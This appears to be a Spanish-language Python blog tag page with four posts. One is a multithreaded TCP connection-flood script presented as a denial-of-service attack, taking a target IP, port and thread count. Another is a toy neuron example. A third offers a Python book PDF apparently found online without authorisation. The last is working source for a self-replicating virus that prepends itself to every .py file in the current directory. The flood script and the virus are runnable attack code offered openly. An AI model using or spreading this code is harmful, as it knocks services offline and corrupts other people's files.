Mostrando entradas con la etiqueta python. Mostrar todas las entradas
Mostrando entradas con la etiqueta python. Mostrar todas las entradas

miércoles, 8 de enero de 2014

Ataque de denegación de servicio (DOS) Python 3.4 ejemplo

from threading import Thread
import socket
import time

class MyThread(Thread):
    def run(self):
        #verifica que exista la pagina
        conexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
        conexion.connect((Ip,Puerto))
        conexion.close()
        try:
            l = 1
            while True:
                conexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
                conexion.connect((Ip,Puerto))
                conexion.close()
                print(l)
                l = l+1
        except IOError: 
            print("error")

Ip = input("Ip:")
#default 80
Puerto = int(input("Puerto: "))
NoThread = int(input("Numero de Hilos: "))
for i in range(NoThread):
  my_thread = MyThread()
  print("Hilo Activo: ")
  print("Tempo de Espera en Cada Hilo: 1\n")
  time.sleep(1)
  my_thread.name = i
  my_thread.start()

sábado, 9 de noviembre de 2013

Neurona en Python 3

Ejemplo de Neurona sencilla en Python

import random

class RNA:
    def __init__(self,nentrada):
        self.nentrada = nentrada

    def entrada(self):
        entradas = []
        for i in range(self.nentrada):
            i = int(input("Valor %d: "%(i+1)))
            entradas.append(i)
        print("Las entradas son ",entradas)
        self.pesos(entradas)

        
    def pesos(self,entradas):
        peso = []
        for m in range(self.nentrada):
            peso.append(random.uniform(-1.0,1.0))
        print("Los pesos son de: ",peso)
        self.neurona(entradas,peso)

    def neurona(self,entradas,peso):
        sumatoria = 0
        for k in range(self.nentrada):
            multi = ((entradas[k])*(peso[k]))
            sumatoria = sumatoria + multi
        self.activacion(sumatoria)

    def activacion(self,sumatoria):
        umbral = random.uniform(0,1)
        print("El ubral es: %f"%umbral)
        if sumatoria <= umbral:
            print("Activada")
        else:
            print("No Activada")
            
if __name__ == "__main__":
    n = int(input("Valor Final: "))
    neuron = RNA(n)
    print(neuron.entrada())

lunes, 29 de julio de 2013

python 3 mark lutz pdf

Aqui les dejo el libro de mark lutz sobre python 3 que me encontre en internet esta completo contiene 1217
paginas esta completo esta muy bien ya que explica como esta estructurado y ejemplos con la nueva version de python 3.x


EL CONOCIMIENTO DEBE SER LIBRE

<=#=#=#=#=#=#=#=#=#=

Infeccion en python

Bueno últimamente me e estado metiendo con python ya que es un buen lenguaje para hacer scrips de ultimo momento y ademas es muy poderoso, 

Aquí esta una infección que infecta exenciones en .py lo hice nomas para poder probar los conocimientos adquiridos se ejecuta en la carpeta raíz ya que no e podido meterme con el disco C por permisos

funciona    en python 3.3.2 y con 2.7.5 suerte 

import os
from sys import argv

this_file = open(argv[0])
this_lines = this_file.readlines()
this_file.close()
# se auto lee
for files in os.listdir('.'):
  #busca archivos
  if files.find('.py') >=1:
     new_files = open(files,"r+")
     target_lines = new_files.readlines()
     new_files.seek(0)
     try:
       #los infecta
        new_files.write("".join(this_lines))
        for target in target_lines:
            new_files.write("%s" %target)
        new_files.close()
     except:
       # si pasa un error
           new_files.close()
           new_files.open(files,"w")
           for target in target_lines:
             new_files.write("%s" %target)
           new_files.close()
           os._exit(1)